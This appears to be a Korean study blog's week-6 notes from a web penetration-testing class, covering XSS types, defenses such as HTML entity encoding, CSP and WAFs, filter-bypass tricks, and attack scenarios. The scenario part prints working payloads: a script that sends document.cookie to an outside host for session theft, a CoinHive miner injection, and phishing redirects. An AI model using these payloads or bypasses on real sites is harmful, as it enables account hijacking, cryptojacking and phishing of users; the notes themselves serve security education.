Today I Learned …
[수업] 6주차 정리 본문
* 해당 주차의 수업 내용을 정리합니다.
+ 모의해킹 연봉
> 회사 : 3000 - 3500
-> 200 - 250
> 3년 : 중급
프리랜서 : 700 - 1000
보안 담당자
컨설팅 사업
* SQLi
docker
FLAG, 풀이
CTF : Capture The Flag
* XSS
- Stored XSS
- Reflected XSS
- DOM Based XSS
XSS
<script>alert(1);</script>
* Bug Bounty
> 같은 취약점도 위처럼 달랑 쓰면 100만원, 시나리오 형식으로 제시하면 1000만원일 정도로 중요함
* XSS 어떻게 막을 수 있을까? (스터디원들 조사)
> 입출력 HTML Entity 전환 필터링
> White List XSS 필터링
> 보안 라이브러리 사용
> Black List 기반 필터링
> 보안 정책 CSP
> 문자열 길이 제한
> 웹 방화벽 (WAF)
* 입력/출력
* XSS 대응 방안 (Normaltic님 정답)
- 파라미터에서 HTML 특수 문자들을 HTML Entity로 표현해줍니다.
HTML Entity
<, >
< >
> 입력
> 출력
- 게시판
HTML Editor
<img>
Step 1. 전부 다 HTML Entity로 치환
-> <img>
Step 2. White List 기반으로 허용 태그 살려줍니다.
<img>, <iframe>
-> <img>
<img src=x onerror>
Step 3. Black List 기반으로 악성 이벤트 핸들러 필터링해준다.
onerror, onload
* Bypass 기법
> 보안 라이브러리 사용
> Black List 기반 필터링
- 대소문자 혼합 ScRipt
- 키워드 반복 <scrscriptipt>
* URL Double Encoding " -> %22 -> %2522
%2522 -> %22 -> "
- Event Handler : onerror, onload
- Tag
* onmouseover : 유용함
> 제목 onload : 냅다 alert 켜버리면 이용자, 보안담당자 화들짝
<img src=1 onmouseover="alert()">
> 웹 방화벽 (WAF)
: 우회가 가능할 수 있습니다.
1. Client 측 검증
-> 편의 기능
: 주민등록 검증 (Javascript)
: Burp Suite (Web Proxy)
<script>alert(1);</script>
Hello~
> 문자열 길이 제한
> 50
> <script src="a/x"></script> 얼마든지 짧게 가능
+ 예상 외 XSS 포인트
- 내부적으로 통신하는 패킷
- javascript 태그 안
<script>
var a = "";
</script>
> 보안 정책 CSP
HttpOnly
-> Session ID
XSS
document.cookie = "123123123"
* 웹 방화벽 (WAF) (Web Application Firewall)
> 끄고 하는게 고객사에게 좋음
> 키고 하면 사실상 웹앱이 아니라 솔루션 뚫는 것이 됨
* 웹 페이지
> 로그인
> 계정 X
* XSS 공격 시나리오
> Session ID 탈취
<script>document.write('<img src="http://normaltic.com/?'+document.cookie+' "/>');</script>
: 로그인 후 사용하는 페이지들
+ 카페
MITM 스니핑 python ㄷㄷ;
> HTML Injection (script)
> KeyLogger 삽입
: 로그인 form 태그가 있는 페이지에 XSS 취약점이 있는 경우 사용
> 정~ 없다..
: alert(1) ㅎ
-> alert(1) 국룰이긴 함! 시나리오 추가 = 맛있게 양념 뿌리기
> Miner 실행
<script src="https://coin-hive.com/lib/coinhive.min.js">var miner = new CoinHive.Anonymous('thisistest');miner.start();</script>
: 사진, 동영상, 영화 2시간
> Redirect
링크
Reflected XSS
alert("로그인이 필요합니다.")
location.href="피싱페이지";
<script>location.href="https://normaltic.com";</script> : 페이지 이동 (뒤로가기 가능)
<script>location.replace("https://normaltic.com");</script> : 페이지 교체 (뒤로가기 불가)
VPS 가상 사설 서버 만들면 유용
> ex) vultr 제일 저렴 $11
> 싸고, 빠르고, 웬만하면 아시아 쪽 (한국이면 더 좋음 : 빠름)
XSS 보고서
> 내 웹페이지에 있는 모든 XSS 취약점 찾아보기
> URL 파라미터 개수 당 취약점 1개로 침
'Study > 수업' 카테고리의 다른 글
[수업] 8주차 정리 (0) | 2021.12.02 |
---|---|
[수업] 7주차 정리 (0) | 2021.11.25 |
[수업] 5주차 정리 (0) | 2021.11.18 |
[수업] 4주차 정리 (0) | 2021.11.04 |
[수업] 3주차 정리 (0) | 2021.10.29 |